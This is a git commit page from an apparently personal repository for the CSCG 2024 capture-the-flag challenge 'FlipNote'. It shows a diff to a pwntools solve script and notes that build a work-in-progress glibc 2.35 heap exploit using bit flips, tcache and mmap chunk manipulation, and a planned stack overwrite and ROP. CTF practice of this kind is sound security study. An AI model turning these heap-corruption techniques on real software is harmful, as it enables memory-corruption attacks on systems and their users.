cscg24-flipnote

CSCG 2024 Challenge 'FlipNote'
git clone https://git.sinitax.com/sinitax/cscg24-flipnote
Log | Files | Refs | sfeed.txt

commit 97012a8c5f720fc7cc001799be1fda3d138085f2
parent d2d73f68c7b4ffdb3701fb43e2e533a8612cba72
Author: Louis Burda <quent.burda@gmail.com>
Date:   Sun, 28 Apr 2024 00:08:30 +0200

Stash state

Diffstat:
Msolve/notes | 3+++
Msolve/solve | 120++++++++++++++++++++++++++++++++++++-------------------------------------------
2 files changed, 57 insertions(+), 66 deletions(-)

diff --git a/solve/notes b/solve/notes @@ -69,3 +69,6 @@ use how2heap repo to find examples exploits for vulnerable libc version 2.35 # Nomal House of Muney does not work here, because it would unmap errno. + +Perhaps we can use the fact that stdin buf is on the stack.. we could flip the +pointer from libc RW section to overwrite stack variables and ROP? diff --git a/solve/solve b/solve/solve @@ -7,7 +7,11 @@ import ctypes args = sys.argv[1:] if len(args) == 0: - args = ["ssh", "-p", "1024", "root@localhost", "pkill gdbserver; gdbserver localhost:1025 /vuln"] + args = ["ssh", "-p", "1024", "root@localhost"] + if pwnlib.args.args.GDB: + args.append("pkill gdbserver; gdbserver localhost:1025 /vuln") + else: + args.append("/vuln") io = process(args) cci = 0 @@ -57,17 +61,23 @@ def flipv(index, offset, value): bit = (value & -value).bit_length() -1 flip(index, offset + bit // 8, bit % 8) +def alignup(a, b): + return (a if a % b == 0 else (a - (a % b) + b)) + def adj(size): - return size - 2 - 0x10 # malloc header + align + sizes = (0x78 * 2 ** i for i in reversed(range(12))) + inner = next(filter(lambda s: s < size, sizes)) + assert(alignup(inner + 8, 16) == size) + return inner - 2 def mmap_adj(size): - return size - 2 - 0x1000 # page aligned malloc header + return size - 2 - 0x1000 -def align_up(size, align): - if size % align != 0: - return size - size % align + align - else: - return size +mmap_threshold_max = 0x2000000 +def mmap_adj_max(size): + assert(size > mmap_threshold_max) # single bit + mmap_sizes = (0x78 * 2 ** i - 2 for i in reversed(range(25))) + return next(filter(lambda s: s > mmap_threshold_max and s < size, mmap_sizes)) def flat(attrs, length): data = bytearray(cc() * length) @@ -87,78 +97,56 @@ mmap_size_2 = 0x78 * 2 ** 12 + pgsize mmap_size_3 = 0x78 * 2 ** 13 + pgsize mmap_size_4 = 0x78 * 2 ** 14 + pgsize -# Calculate largest tcache-able chunk size allocated by get_delim. -tcache_size = 0x78 * 2**3 + 0x10 - -gdb = 'gdb -ex "set debug-file-directory $PWD/debug" -ex "dir glibc" -ex "set debuginfod enabled on"' \ - + ' -ex "target remote localhost:1025" -ex "b main" -ex "b exit" -ex "continue"' -run_in_new_terminal(["sh", "-c", f'sleep 1; sudo -E {gdb}'], kill_at_exit=False) - -back = alloc(cc() * adj(small_size)) -past = alloc(cc() * adj(small_size)) -target = alloc(cc() * adj(small_size)) - -later = alloc(cc() * adj(tcache_size)) +# largest tcache-able chunk size allocated by get_delim. +tcache_size = small_size # 0x78 * 2 + 0x10 -head = alloc(cc() * mmap_adj(mmap_size_1)) -front = alloc(cc() * mmap_adj(mmap_size_1)) +if pwnlib.args.args.GDB: + gdb = 'gdb -ex "set debug-file-directory $PWD/debug" -ex "dir glibc" -ex "set debuginfod enabled on"' \ + + ' -ex "target remote localhost:1025" -ex "b main" -ex "continue" -ex "b exit"' + run_in_new_terminal(["sh", "-c", f'sleep 1; sudo -E {gdb}'], kill_at_exit=False) -grid = [alloc(cc() * mmap_adj(mmap_size_1)) for _ in range(3)][::-1] -list(map(free, grid)) +b = alloc(cc() * adj(small_size)) +c = alloc(cc() * adj(tcache_size)) +d = alloc(cc() * adj(tcache_size)) -free(front) +# allocate these backwards in size, because getdelim allocs them growing bigger +spacing = [alloc(cc() * mmap_adj(mmap_size_4))] +spacing += [alloc(cc() * mmap_adj(mmap_size_4))] +spacing += [alloc(cc() * mmap_adj(mmap_size_3))] +spacing += [alloc(cc() * mmap_adj(mmap_size_2))] +spacing += [alloc(cc() * mmap_adj(mmap_size_1))] +spacing += [alloc(cc() * mmap_adj(mmap_size_1))] -adjust = 0x5000 +a = alloc(cc() * mmap_adj(mmap_size_1)) +free(a) -free(back) -back_map = { - mmap_size_3 - mmap_size_1 - 16: p64(0), - mmap_size_3 - mmap_size_1 - 8: p64((mmap_size_1+adjust)^0b010) -} -index = len(grid)-1 -offset = mmap_size_1 -while True: - offset += mmap_size_1 - if offset >= mmap_size_3: - break - back_map[mmap_size_3 - offset - 16] = p64(0) - back_map[mmap_size_3 - offset - 8] = p64(mmap_size_1^0b010) - index -= 1 -assert(index == 0) +free(b) +assert(b == alloc(flat({ + mmap_size_3 - mmap_size_1 - 8: p64(tcache_size^0b001), +}, mmap_adj(mmap_size_3)))) -back = alloc(flat(back_map, mmap_adj(mmap_size_3))) +free(a) -free(front) # adjust +free(c) -for i in range(1, len(grid)): - free(grid[i]) +flipv(c, 0, 0x800000) +#flipv(c, 0, 0x000040) -free(target) -target = alloc(cc() * mmap_adj(mmap_size_3)) +#list(map(free, spacing)) -past = alloc(cc() * mmap_adj(mmap_size_3)) - -flip_size = 0x40000 -flip(grid[0], -8, flip_size) -free(grid[0]) - -#past = alloc(cc() * mmap_adj(mmap_size_3))) - -past = alloc(flat({ - mmap_size_3 - mmap_size_2 - 8: p64(tcache_size^0b001) -}, mmap_adj(mmap_size_3))) - -free(target) - -free(later) +c = alloc(cc() * adj(tcache_size)) embed() -flip(later, 0, 0x400000) +win = int.to_bytes(0x0ebaf3, 3, byteorder="little") +a = alloc(cc() * 0x10 + b"\xf3") -assert(later == alloc(adj(tcache_size))) +#free(d) # to prevent issue with invalid reveal ptr in move#d chunk -assert(target == alloc(adj(tcache_size))) +# edit(a, b"X"*0x8+win) +if pwnlib.args.args.GDB: + embed() -embed() +io.sendline(b"") +io.interactive()